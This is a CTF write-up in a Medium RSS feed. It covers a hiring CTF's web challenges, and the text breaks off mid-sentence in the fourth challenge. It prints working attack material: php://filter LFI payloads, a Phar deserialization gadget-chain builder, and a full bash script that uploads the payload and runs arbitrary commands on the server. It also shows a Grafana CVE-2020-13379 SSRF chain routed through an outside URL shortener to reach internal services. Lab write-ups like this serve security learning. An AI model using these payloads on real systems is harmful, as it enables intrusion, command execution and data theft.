<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by vaaditya320 on Medium]]></title>
        <description><![CDATA[Stories by vaaditya320 on Medium]]></description>
        <link>https://medium.com/@vaaditya320?source=rss-bbcf9c56db05------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*Vea7eT7csbu_Yy47EvRFLQ.jpeg</url>
            <title>Stories by vaaditya320 on Medium</title>
            <link>https://medium.com/@vaaditya320?source=rss-bbcf9c56db05------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 27 Nov 2026 15:23:38 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@vaaditya320/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[CloudSEK Hiring CTF Jul 2026: A Exploitation Journey]]></title>
            <link>https://medium.com/@vaaditya320/cloudsek-hiring-ctf-jul-2026-a-exploitation-journey-e03cfea2ce02?source=rss-bbcf9c56db05------2</link>
            <guid isPermaLink="false">https://medium.com/p/e03cfea2ce02</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[infosec]]></category>
            <dc:creator><![CDATA[vaaditya320]]></dc:creator>
            <pubDate>Mon, 13 Jul 2026 07:08:26 GMT</pubDate>
            <atom:updated>2026-07-14T16:02:17.565Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/580/1*QWLVkuJgSoLBktlfxqBc9w.png" /></figure><p>Hey everyone, hope you’re all doing well.</p><p>Spent the weekend digging into a CTF put out by CloudSEK, five challenges in total, all built around web exploitation and scripting, with one from the AI &amp; ML category.</p><p>What’s interesting is that CloudSEK actually uses this CTF as their hiring pipeline for the Cyber Security Analyst Intern role. Refreshing to see companies testing skills directly instead of just filtering resumes.</p><p>In this writeup, I’ll be walking you through my POV of how I approached and solved each of these challenges.</p><h3>Challenge 1: Internal Affairs — 1 (100 points)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/492/1*n9HR7VS5mVi9qMdeWGbjBQ.png" /></figure><p>Added the hosts entry and hit the URL. Got a 503 maintenance page, generic corporate HTML, nothing useful. Tried the usual paths (/admin, /robots.txt, /api) on the default vhost, all same maintenance page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jhD_nHS9egp9fBGk7qEqVw.png" /></figure><p>Since nginx was on the box, I figured the real app might be on a different vhost. Fuzzed Host headers:</p><pre>ffuf -w common.txt -u &lt;http://15.206.47.5:9090/&gt; -H &quot;Host: FUZZ.discover.lab&quot; -fs 150 -mc all -t 50</pre><p>cms.discover.lab returned a <strong>302</strong> redirect to /index.php?page=views/login.php. Everything else was 503, 301 back to maintenance, or 400.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/789/1*SONMaa-8GudPal2zQebshQ.png" /></figure><p>Added cms.discover.lab to /etc/hosts and opened it in the browser.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/789/1*SONMaa-8GudPal2zQebshQ.png" /></figure><h4>LFI</h4><p>First thing I tried was classic traversal:</p><pre>/index.php?page=../../../../etc/passwd<br>/index.php?page=/etc/passwd</pre><p>Both returned empty. Dead end.</p><p>Then tried the PHP filter wrapper:</p><pre>/index.php?page=php://filter/convert.base64-encode/resource=index.php</pre><p>Got base64 back in the response. LFI confirmed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WZT0jSdAmyPA9AkdAw4bOQ.png" /></figure><p>Decoded it:</p><pre>base64 --decode &lt;&lt;&lt; PD9waHAKaW5pX3NldCgnb3Blbl9iYXNlZGlyJywgJy92YXIvd3d3L2h0bWwvOi90bXAnKTsKc2Vzc2lvbl9zdGFydCgpOwoKJHBhZ2UgPSAkX0dFVFsncGFnZSddID8........</pre><p>From index.php:</p><pre>ini_set(&#39;open_basedir&#39;, &#39;/var/www/html/:/tmp&#39;);<br>// ...<br>@include $page;</pre><p>Normal traversal to /etc/passwd fails because of open_basedir. But php://filter reads source through PHP&#39;s stream layer without executing it, so it bypasses both the path restriction and any session auth on protected views.</p><h4>Flag</h4><p>Dashboard is behind login, but the filter trick reads <strong>source</strong>, it doesn’t <strong>run</strong> the PHP. Session checks never fire.</p><pre>/index.php?page=php://filter/convert.base64-encode/resource=views/dashboard.php</pre><p>Decode the base64 from the page body and the flag is sitting right there in the HTML:</p><pre>&lt;?php<br>if (!isset($_SESSION[&#39;user&#39;])) {<br>    header(&quot;Location: /index.php?page=views/login.php&quot;);<br>    exit;<br>}<br>?&gt;<br>&lt;style&gt;<br>.<br>.<br>.<br>&lt;/style&gt;<br>&lt;div class=&quot;dashboard-box&quot;&gt;<br>    &lt;h2&gt;Internal CMS&lt;/h2&gt;<br>    &lt;p&gt;Welcome, &lt;?php echo htmlspecialchars($_SESSION[&#39;user&#39;]); ?&gt;!&lt;/p&gt;<br>    &lt;p&gt;You are logged into the internal CMS panel.&lt;/p&gt;<br>    &lt;p&gt;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;CSEK_CTF_2026{flag_d0t_d0t_sl4sh_2_v1ct0ry}&lt;/code&gt;&lt;/p&gt;<br>    &lt;div class=&quot;page-card&quot;&gt;<br>        &lt;h3&gt;Landing Page&lt;/h3&gt;<br>        &lt;p&gt;Main public-facing page.&lt;/p&gt;<br>        &lt;div class=&quot;actions&quot;&gt;<br>            &lt;a class=&quot;btn edit&quot; href=&quot;/index.php?page=views/editor.php&quot;&gt;Edit&lt;/a&gt;<br>            &lt;a class=&quot;btn render&quot; href=&quot;/views/preview.php&quot;&gt;Render&lt;/a&gt;<br>        &lt;/div&gt;<br>    &lt;/div&gt;<br>&lt;/div&gt;</pre><p><strong>Flag:</strong> CSEK_CTF_2026{flag_d0t_d0t_sl4sh_2_v1ct0ry}</p><h3>Challenge 2: Echoes of Runtime (100 points)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/492/1*O1RClyGPXmugQabjYhsj4Q.png" /></figure><p>Opened the target in browser. Plain “Internal Operations Platform” landing page. Navbar with Home / About / Health / Info, two cards for Service Health and Build Info. No forms, no inputs, nothing to actually interact with.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Pjh6ulU8xd1UZ2PuQ6uIMg.png" /></figure><p>View source (Ctrl+U) and the real links show up:</p><pre>&lt;nav&gt;<br>    &lt;a href=&quot;/&quot;&gt;Home&lt;/a&gt;<br>    &lt;a href=&quot;/about&quot;&gt;About&lt;/a&gt;<br>    &lt;a href=&quot;/actuator/health&quot;&gt;Health&lt;/a&gt;<br>    &lt;a href=&quot;/actuator/info&quot;&gt;Info&lt;/a&gt;<br>&lt;/nav&gt;</pre><p>/actuator/* means Spring Boot with Actuator exposed. That&#39;s the attack surface.</p><h4>Actuator enum</h4><p>Walked the usual actuator endpoints:</p><pre>curl -s http://15.206.47.5:8080/actuator/env<br>curl -s http://15.206.47.5:8080/actuator/mappings<br>curl -s http://15.206.47.5:8080/actuator/beans<br>curl -s http://15.206.47.5:8080/actuator/configprops<br>curl -s http://15.206.47.5:8080/actuator/threaddump<br>curl -s http://15.206.47.5:8080/actuator/heapdump</pre><p>Everything 404&#39;d except /actuator/heapdump, which returned 200 and downloaded a HPROF file. Full JVM heap snapshot, world-readable.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/322/1*CZOlL75zVw2bu-p4VJSifg.png" /></figure><h4>Heap triage</h4><p>First instinct was grep for tokens:</p><pre>strings -a -n 8 heapdump.hprof | grep -E &#39;github_pat_|ghp_|gho_|ghu_|ghs_&#39; | head -20</pre><pre>ghp_9x7K2mQ4vN8pR1sT6uY3wA5bC0dE2fG4hJ6</pre><p>Looks like a GitHub PAT. Tried it:</p><pre>curl -H &quot;Authorization: token ghp_9x7K2mQ4vN8pR1sT6uY3wA5bC0dE2fG4hJ6&quot; https://api.github.com/user<br># {&quot;message&quot;:&quot;Bad credentials&quot;, ...}</pre><p>Dead end. The heap is salted with fake credential classes like ExpiredGithubToken, FakeAwsClientConfig, FakeGoogleApiKeyHolder, ObfuscatedTokenLoader, etc. Classic chaff to burn time.</p><h4>Real signal</h4><p>Stopped chasing token-shaped strings and looked at what objects were actually in the dump:</p><pre>strings -a -n 8 heapdump.hprof | grep -B 5 -A 5 &#39;github&#39;</pre><pre>com.internalops.heapgen.model.GitHubRepository&quot;<br>godfather-commits!<br>internal-ops-platform!</pre><p>A GitHubRepository object with owner godfather-commits and repo internal-ops-platform. Not wrapped in a Fake... class, so this one felt real.</p><p>Searched GitHub for godfather-commits/internal-ops-platform. Nothing. Misdirection. The class is named GitHubRepository but the actual repo lives on GitLab:</p><pre>https://gitlab.com/godfather-commits/internal-ops</pre><h4>Flag</h4><p>Repo is public, two files: README.md and .env</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*p7MKuOTMdTIdC9HC_zt0YA.png" /></figure><p><strong>Inside .env I found the flag</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/625/1*df70pduYvlv5cJt7BSDhOA.png" /></figure><p><strong>Flag:</strong> CSEK_CTF_2026{flag_h34pdump_l34k_p4t}</p><h3>Challenge 3: Internal Affairs — 2 (200 points)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/496/1*S5y0GbMXNcLb9yVzAUZcaw.png" /></figure><h4>Getting in</h4><p>Part 1 LFI already told us login hits a SQLite DB. Same trick pulled the file:</p><pre>/index.php?page=php://filter/convert.base64-encode/resource=data/discover_login.sqlite</pre><p>Decode, open in sqlite. One user:</p><pre>nullbyt0 : 20eef2f52208fab523332d12b6429cf4</pre><p>CrackStation cracked the MD5 → discovera1b2b3y4. Logged in.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*A_Ana43TTlXK0tResbnJ0w.png" /></figure><p>Dashboard shows the part 1 flag again, but now there are <strong>Edit</strong> and <strong>Render</strong> buttons. That’s the part 2 surface.</p><h4>What looked weird after login</h4><p>Editor page has two fields: HTML content, and <strong>Uploaded File Path</strong>. Not a URL. A full filesystem path. The hint on the page literally says images live at /var/www/uploads/.</p><p>Upload page only accepts PNG/JPG, but after upload it prints the full server path back via AJAX:</p><pre>/var/www/uploads/7afaf4af5a1125a07e662a1db1171f7d.jpg</pre><p>Clicking Render hits a standalone endpoint, /views/preview.php, not routed through index.php?page=. It reads your session draft, checks the file exists, calls getimagesize() on it, renders HTML.</p><p>At this point I didn’t know it was deserialization yet. My first thought was simpler: <strong>can I point that path field at something I shouldn’t?</strong> /etc/passwd, another user&#39;s file, something like that. Normal file-read curiosity.</p><p>So I went back to the Part 1 LFI tab and started reading the PHP source properly.</p><h4>Reading the source (where deserialization clicked)</h4><p>Pulled preview.php and the class files:</p><pre>?page=php://filter/convert.base64-encode/resource=views/preview.php<br>?page=php://filter/convert.base64-encode/resource=classes/SafeRenderer.php<br>?page=php://filter/convert.base64-encode/resource=classes/HtmlContent.php</pre><p>The relevant bit in preview.php:</p><pre>if (!empty($uploadedFilePath)) {<br>    $path = $uploadedFilePath;<br>if (!file_exists($path)) {<br>        die(&quot;Referenced file does not exist.&quot;);<br>    }<br>    @getimagesize($path);<br>    // ...<br>}</pre><p>Two things jumped out:</p><ol><li><strong>$path is fully user-controlled.</strong> Whatever I type in the editor&#39;s &quot;Uploaded File Path&quot; field goes straight into file_exists() and getimagesize().</li><li><strong>SafeRenderer looks like a gadget</strong>, not a security feature:</li></ol><pre>class SafeRenderer {<br>    public $callback;<br>    public $data;<br>public function render($html) {<br>        if ($this-&gt;callback &amp;&amp; is_callable($this-&gt;callback)) {<br>            return call_user_func($this-&gt;callback, $this-&gt;data . $html);<br>        }<br>        // ...<br>    }<br>}</pre><p>Public $callback and $data. If I control those, call_user_func($this-&gt;callback, $this-&gt;data . $html) is basically &quot;call any PHP function with any argument I want.&quot; Set $callback = &quot;system&quot; and $data = &quot;id; &quot; → command execution.</p><p>And HtmlContent ties it together:</p><pre>class HtmlContent {<br>    public $html;<br>    public $renderer;<br>public function __destruct() {<br>        if ($this-&gt;renderer instanceof SafeRenderer) {<br>            echo $this-&gt;renderer-&gt;render($this-&gt;html);<br>        }<br>    }<br>}</pre><p>When an HtmlContent object gets destroyed at the end of the request, it calls SafeRenderer::render(). Classic <strong>POP chain</strong> (Property Oriented Programming). You don&#39;t need to call anything directly; you just need PHP to reconstruct an object with the right properties and let the destructor fire.</p><p>There’s no unserialize() anywhere in the user-facing code though. So how do you get PHP to create your HtmlContent object?</p><p>That’s where phar:// comes in.</p><h4>Why Phar</h4><p>I knew from writeups and previous HackTheBox machines and <a href="https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-using-phar-deserialization-to-deploy-a-custom-gadget-chain">portswigger lab</a> that when PHP functions like file_exists(), filesize(), or getimagesize() receive a phar:// path, PHP reads the file as a <strong>Phar archive</strong> and <strong>automatically unserializes the metadata</strong> stored inside it.</p><p>So the chain in my head became:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*q0CI-RXSTUsTqoybGsLgbg.png" /></figure><p>The upload only checks the <strong>file extension</strong> (.jpg), not what&#39;s inside. The path field accepts phar:// wrappers. The preview endpoint calls file functions on that path. Three pieces that only make sense together once you&#39;ve read the source.</p><h4>Building the payload</h4><p>Quick PHP script to build the Phar:</p><pre>&lt;?php<br>class SafeRenderer { public $callback; public $data; }<br>class HtmlContent { public $html; public $renderer; }<br><br>@unlink(&#39;/tmp/exploit.phar&#39;);<br>$p = new Phar(&#39;/tmp/exploit.phar&#39;);<br>$p-&gt;startBuffering();<br>$p-&gt;addFromString(&#39;test.txt&#39;, &#39;test&#39;);<br>$o = new HtmlContent();<br>$o-&gt;html = &#39;&#39;;<br>$s = new SafeRenderer();<br>$s-&gt;callback = &#39;system&#39;;<br>$s-&gt;data = &#39;id; &#39;;<br>$o-&gt;renderer = $s;<br>$p-&gt;setMetadata($o);   // this is what gets unserialized<br>$p-&gt;stopBuffering();<br>copy(&#39;/tmp/exploit.phar&#39;, &#39;/tmp/exploit.jpg&#39;);</pre><pre>php -d phar.readonly=0 exploit.php</pre><p>Need phar.readonly=0 locally or PHP won&#39;t let you create Phar files.</p><h4>Hit and trial (what didn’t work)</h4><p>First attempt: prepend a JPEG header to make it look like a real image. Uploaded it, set the phar:// path, hit preview.</p><pre>Referenced file does not exist.</pre><p>PHP couldn’t parse it as a valid Phar. The fake JPEG bytes broke it.</p><p>Second attempt: upload the <strong>raw Phar bytes</strong> with just a .jpg extension. No image header, no polyglot nonsense. Server only cared about the extension anyway.</p><p>That worked.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jEb_qLVdYCgIS50PzfgcPg.png" /></figure><h4>Triggering it</h4><p>Clicking through upload → editor → preview every time got old fast, so I wrapped the whole chain in a script. It builds the Phar (or reuses /tmp/exploit.jpg), logs in, uploads, sets the phar:// path in the editor session, hits preview, and prints command output.</p><p>Save as ia2-exploit.sh:</p><pre>#!/usr/bin/env bash<br># Internal Affairs - 2 | Phar deserialization exploit<br><br>set -euo pipefail<br>TARGET=&quot;&lt;http://15.206.47.5:9090&gt;&quot;<br>HOST=&quot;cms.discover.lab&quot;<br>USER=&quot;nullbyt0&quot;<br>PASS=&quot;discovera1b2b3y4&quot;<br>COOKIE=&quot;/tmp/cms_cookies_ia2.txt&quot;<br>PAYLOAD=&quot;/tmp/exploit.jpg&quot;<br>CMD=&quot;id&quot;<br>USE_EXISTING=0<br>usage() {<br>  sed -n &#39;2,14p&#39; &quot;$0&quot; | sed &#39;s/^# \{0,1\}//&#39;<br>  exit &quot;${1:-0}&quot;<br>}<br>while [[ $# -gt 0 ]]; do<br>  case &quot;$1&quot; in<br>    -h|--help) usage 0 ;;<br>    -e|--use-existing) USE_EXISTING=1; shift ;;<br>    -f|--file) PAYLOAD=&quot;$2&quot;; USE_EXISTING=1; shift 2 ;;<br>    --target) TARGET=&quot;$2&quot;; shift 2 ;;<br>    --host) HOST=&quot;$2&quot;; shift 2 ;;<br>    --user) USER=&quot;$2&quot;; shift 2 ;;<br>    --pass) PASS=&quot;$2&quot;; shift 2 ;;<br>    -*) echo &quot;[-] Unknown option: $1&quot; &gt;&amp;2; usage 1 ;;<br>    *) CMD=&quot;$1&quot;; shift ;;<br>  esac<br>done<br>build_phar() {<br>  echo &quot;[*] Building Phar POP payload (cmd: $CMD)...&quot;<br>  php -d phar.readonly=0 -r &quot;<br>class SafeRenderer { public \$callback; public \$data; }<br>class HtmlContent { public \$html; public \$renderer; }<br>@unlink(&#39;/tmp/exploit.phar&#39;);<br>\$p = new Phar(&#39;/tmp/exploit.phar&#39;);<br>\$p-&gt;startBuffering();<br>\$p-&gt;addFromString(&#39;test.txt&#39;, &#39;test&#39;);<br>\$o = new HtmlContent();<br>\$o-&gt;html = &#39;&#39;;<br>\$s = new SafeRenderer();<br>\$s-&gt;callback = &#39;system&#39;;<br>\$s-&gt;data = &#39;$CMD; &#39;;<br>\$o-&gt;renderer = \$s;<br>\$p-&gt;setMetadata(\$o);<br>\$p-&gt;stopBuffering();<br>copy(&#39;/tmp/exploit.phar&#39;, &#39;/tmp/exploit.jpg&#39;);<br>echo &#39;[+] Wrote /tmp/exploit.phar and /tmp/exploit.jpg&#39;;<br>&quot;<br>}<br>login() {<br>  echo &quot;[*] Logging in as $USER...&quot;<br>  local code<br>  code=$(curl -s -o /dev/null -w &quot;%{http_code}&quot; \<br>    -H &quot;Host: $HOST&quot; \<br>    -X POST &quot;$TARGET/index.php?page=views/login.php&quot; \<br>    -d &quot;username=$USER&amp;password=$PASS&quot; \<br>    -c &quot;$COOKIE&quot; -b &quot;$COOKIE&quot; -L)<br>  if [[ ! -f &quot;$COOKIE&quot; ]]; then<br>    echo &quot;[-] Login failed - no cookie file created (HTTP $code)&quot; &gt;&amp;2<br>    exit 1<br>  fi<br>  echo &quot;[+] Session saved to $COOKIE&quot;<br>}<br>upload() {<br>  if [[ ! -f &quot;$PAYLOAD&quot; ]]; then<br>    echo &quot;[-] Payload not found: $PAYLOAD&quot; &gt;&amp;2<br>    echo &quot;    Build one first: php -d phar.readonly=0 your_exploit.php&quot; &gt;&amp;2<br>    echo &quot;    Or run without --use-existing so this script builds it.&quot; &gt;&amp;2<br>    exit 1<br>  fi<br>  echo &quot;[*] Uploading $PAYLOAD as image/jpeg...&quot;<br>  local resp path<br>  resp=$(curl -s -H &quot;Host: $HOST&quot; -b &quot;$COOKIE&quot; \<br>    -F &quot;image=@${PAYLOAD};type=image/jpeg&quot; \<br>    &quot;$TARGET/views/upload.php&quot;)<br>  if ! path=$(echo &quot;$resp&quot; | python3 -c &quot;<br>import json, sys<br>try:<br>    data = json.load(sys.stdin)<br>    print(data[&#39;path&#39;])<br>except Exception:<br>    sys.exit(1)<br>&quot; 2&gt;/dev/null); then<br>    echo &quot;[-] Upload failed. Raw response:&quot; &gt;&amp;2<br>    echo &quot;$resp&quot; &gt;&amp;2<br>    exit 1<br>  fi<br>  echo &quot;[+] Uploaded to: $path&quot;<br>  REMOTE_PATH=&quot;$path&quot;<br>}<br>set_editor() {<br>  echo &quot;[*] Setting editor path to phar://$REMOTE_PATH ...&quot;<br>  curl -s -H &quot;Host: $HOST&quot; -b &quot;$COOKIE&quot; -X POST \<br>    &quot;$TARGET/index.php?page=views/editor.php&quot; \<br>    --data-urlencode &quot;content=.&quot; \<br>    --data-urlencode &quot;uploadedFilePath=phar://$REMOTE_PATH&quot; \<br>    -o /dev/null<br>}<br>trigger() {<br>  echo &quot;[*] Triggering preview (deserialization)...&quot;<br>  local html out<br>  html=$(curl -s -H &quot;Host: $HOST&quot; -b &quot;$COOKIE&quot; &quot;$TARGET/views/preview.php&quot;)<br>  if echo &quot;$html&quot; | grep -q &quot;Referenced file does not exist&quot;; then<br>    echo &quot;[-] Preview says file does not exist.&quot; &gt;&amp;2<br>    echo &quot;    Common fixes:&quot; &gt;&amp;2<br>    echo &quot;    - Use raw Phar bytes, not a JPEG polyglot&quot; &gt;&amp;2<br>    echo &quot;    - Rebuild payload: ./ia2-exploit.sh &#39;$CMD&#39;&quot; &gt;&amp;2<br>    exit 1<br>  fi<br>  echo &quot;[+] Command output:&quot;<br>  echo &quot;----------------------------------------&quot;<br>  out=$(echo &quot;$html&quot; | sed -n &#39;/preview-content&quot;&gt;/,/&lt;\/div&gt;/p&#39; \<br>    | sed &#39;s/&lt;[^&gt;]*&gt;//g&#39; | sed &#39;/^[[:space:]]*$/d&#39; | tail -n +2)<br>  if [[ -z &quot;$out&quot; ]]; then<br>    echo &quot;(no output captured - check preview HTML manually)&quot;<br>    echo &quot;$html&quot; | tail -c 500<br>  else<br>    echo &quot;$out&quot;<br>  fi<br>  echo &quot;----------------------------------------&quot;<br>}<br># --- main ---<br>if [[ &quot;$USE_EXISTING&quot; -eq 0 ]]; then<br>  build_phar<br>else<br>  echo &quot;[*] Using existing payload: $PAYLOAD&quot;<br>  if [[ &quot;$CMD&quot; != &quot;id&quot; ]]; then<br>    echo &quot;[!] Note: --use-existing ignores --cmd unless you rebuild.&quot;<br>    echo &quot;    To run a different command, omit --use-existing:&quot;<br>    echo &quot;    ./ia2-exploit.sh &#39;$CMD&#39;&quot;<br>  fi<br>fi<br>login<br>upload<br>set_editor<br>trigger</pre><pre>chmod +x ia2-exploit.sh<br>./ia2-exploit.sh id</pre><p>Output:</p><pre>[*] Building Phar POP payload (cmd: id)...<br>[+] Wrote /tmp/exploit.phar and /tmp/exploit.jpg[*] Logging in as nullbyt0...<br>[+] Session saved to /tmp/cms_cookies_ia2.txt<br>[*] Uploading /tmp/exploit.jpg as image/jpeg...<br>[+] Uploaded to: /var/www/uploads/a59a251bd49a2eeceb3f4562c89ff01e.jpg<br>[*] Setting editor path to phar:///var/www/uploads/a59a251bd49a2eeceb3f4562c89ff01e.jpg ...<br>[*] Triggering preview (deserialization)...<br>[+] Command output:<br>----------------------------------------<br>uid=33(www-data) gid=33(www-data) groups=33(www-data)<br>----------------------------------------</pre><h4>Flag</h4><p>Got shell, so first thing was look around:</p><pre>./ia2-exploit.sh &#39;ls /var/www&#39;</pre><pre>uploads</pre><p>uploads is the folder the app kept telling us about. That&#39;s where uploaded images land.</p><p>Check what’s inside:</p><pre>./ia2-exploit.sh &#39;ls /var/www/uploads&#39;</pre><p>flag2.txt sitting right there.</p><pre>./ia2-exploit.sh &#39;cat /var/www/uploads/flag2.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/858/1*NMWOb1Su6XGMUfCpguGvzQ.png" /></figure><p><strong>Flag:</strong> CSEK_CTF_2026{flag_ph4r_m3t4d4t4_und3s3r14l1z3d}</p><h3>Challenge 4: DevSecOops — Linked Flaws — Rebirth (250 points)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/394/1*pA3jQ4bK-gSBMZzkCyzBvg.png" /></figure><h4>1. BeVigil Report</h4><p>I pulled the static analysis report from BeVigil:</p><p><a href="https://bevigil.com/report/com.jotbox.app">JotBox</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jmQo6tZy8Dq6m2F22wqOqw.png" /></figure><h4>2. Leaked GitLab Repository (Assets Section)</h4><p>Under the <strong>assets</strong> section, I noticed an internal GitLab repository URL exposed in the APK:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jmQo6tZy8Dq6m2F22wqOqw.png" /></figure><p>I opened the link in a browser:</p><pre>https://gitlab.com/Dev102_1/integration-stack</pre><p>The project does not exist publicly. <strong>404</strong>. The repo is private, deleted, or renamed. I did not stop there; I pivoted to the <strong>username</strong> in the URL instead.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Siiznj34i2QwynTDzUgJ9w.png" /></figure><h4>4. GitLab OSINT: Following Dev102_1</h4><p><strong>4.1 User profile</strong></p><pre>&lt;https://gitlab.com/Dev102_1&gt;</pre><p>The user exists. Display name <strong>Developer 0102</strong>.</p><p><strong>4.2 Recent activity</strong></p><p>In his recent activity, <strong>Dev102_1 joined a repository</strong></p><pre>&lt;https://gitlab.com/observability-platform/grafana&gt;</pre><p>That was the real lead. The leaked integration-stack path was a breadcrumb to the engineer; the observability Grafana fork was the actual repo with recent changes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Dif8Sbf5vmg8S7Ul923qrA.png" /></figure><h4>5. Recent Commit on observability-platform/grafana</h4><p>I opened the Grafana repo and looked at the most recent commit on top. It was made by <strong>developer1337</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/994/1*15zHFNh2_DPLlfLYUj-R9A.png" /></figure><p>The diff was on docs/sources/datasources/loki.md. A few documentation changes, but the <strong>Loki URI change</strong> jumped out:</p><pre>-| `URL` | The URL of the Loki instance, e.g., `http://localhost:3100` |<br>+| `URL` | The URL of the Loki instance, e.g., `http://loki.local:3100` |</pre><p>And in the YAML provisioning example:</p><pre>-    url: &lt;http://localhost:3100&gt;<br>+    url: &lt;http://loki.local:3100&gt;</pre><p>The same commit also removed example credentials from the docs (basicAuthUser: my_user, basicAuthPassword: test_password). Someone tried to clean up a rushed mistake but left the internal hostname loki.local behind.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/634/1*ujB9T7Y8-62Flr8zcZvsIw.png" /></figure><p>At this point I knew:</p><ul><li>Internal Loki lives at <strong>loki.local:3100</strong></li><li>There is an observability stack tied to this org</li><li>I needed to find where Grafana/Loki actually runs</li></ul><h4>6. Infrastructure Recon: nmap</h4><p>From earlier recon on the same CTF box, I had already run a service scan:</p><pre>nmap -sV -Pn 15.206.47.5</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/907/1*7V0yv2sW8ZbsVtOGftU7Tw.png" /></figure><p>Port <strong>5000</strong> lined up with Grafana from the GitLab trail. Port <strong>8080</strong> would matter later when Loki logs pointed at /ops/api/v1/....</p><h4>7. Grafana Version Check: CVE-2020–13379</h4><p>To confirm what was running on 5000:</p><pre>curl -s &quot;http://15.206.47.5:5000/api/health&quot;</pre><pre>{<br>  &quot;commit&quot;: &quot;ef5b586d7d&quot;,<br>  &quot;database&quot;: &quot;ok&quot;,<br>  &quot;version&quot;: &quot;7.0.1&quot;<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/487/1*omIaHhLwkOWi0vLdZ7u1Nw.png" /></figure><p>Grafana <strong>7.0.1</strong>, affected by <strong>CVE-2020–13379</strong> (avatar SSRF, versions 3.0.1 through 7.0.1). Unauthenticated attackers can make Grafana fetch arbitrary URLs via the /avatar/ endpoint.</p><p><strong>7.1 Confirming the CVE with a public payload</strong></p><p>I used the publicly available nuclei template payload to verify SSRF was real:</p><pre>curl -s -D - -o /tmp/ssrf_test.jpg \<br>  &quot;http://15.206.47.5:5000/avatar/1%3fd%3dhttp%3A%252F%252Fimgur.com%252F..%25252F1.1.1.1&quot;</pre><p>Response: HTTP/1.1 200 OK, Content-Type: image/jpeg, body ~56KB containing Cloudflare / 1.1.1.1 page content embedded in the image. Nuclei also confirmed the finding.</p><h4>8. SSRF to Internal Loki: <a href="http://da.gd/">da.gd</a> Redirector</h4><p>Direct SSRF to 127.0.0.1:3100 or loki.local:3100 returned Grafana&#39;s fallback avatar (1486 bytes). The lab blocks private-IP fetches even through the imgur bypass.</p><p>The working trick: create a <strong>short link that 302-redirects</strong> to the internal URL. Grafana follows the redirect from inside the Docker network.</p><p><a href="http://da.gd/"><strong>da.gd</strong></a> accepts http://loki.local:... URLs.</p><p><strong>8.1 Create short links</strong></p><pre>curl -s &quot;https://da.gd/s?url=http://loki.local:3100/ready&quot;<br># → &lt;https://da.gd/vK3Qq&gt;</pre><pre>curl -s &quot;https://da.gd/s?url=http://loki.local:3100/loki/api/v1/labels&quot;<br># → https://da.gd/gpBBs</pre><pre>curl -s &quot;https://da.gd/s?url=http://loki.local:3100/loki/api/v1/label/job/values&quot;<br># → https://da.gd/jCLMZ</pre><p><strong>8.2 Fire through Grafana avatar SSRF</strong></p><p>Public CVE payload format, swapped to hit the shortener:</p><pre>http://15.206.47.5:5000/avatar/1%3fd%3dhttp%3A%252F%252Fimgur.com%252F..%25252Fda.gd%252F&lt;CODE&gt;</pre><p><strong>Verify Loki is reachable:</strong></p><pre>curl -s &quot;http://15.206.47.5:5000/avatar/1%3fd%3dhttp%3A%252F%252Fimgur.com%252F..%25252Fda.gd%252FvK3Qq&quot;</pre><pre>ready</pre><p><strong>List labels:</strong></p><pre>curl -s &quot;http://15.206.47.5:5000/avatar/1%3fd%3dhttp%3A%252F%252Fimgur.com%252F..%25252Fda.gd%252FgpBBs&quot;</pre><pre>{&quot;status&quot;:&quot;success&quot;}</pre><p><strong>Get job names:</strong></p><pre>curl -s &quot;http://15.206.47.5:5000/avatar/1%3fd%3dhttp%3A%252F%252Fimgur.com%252F..%25252Fda.gd%252FjCLMZ&quot;</pre><pre>{&quot;status&quot;:&quot;success&quot;,&quot;data&quot;:[&quot;auth-service&quot;]}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AHU-hh_L1_yRdfOJALCPAQ.png" /></figure><h4>9. Loki Log Analysis</h4><p>With auth-service identified, I queried its logs through the same SSRF chain.</p><p>First, 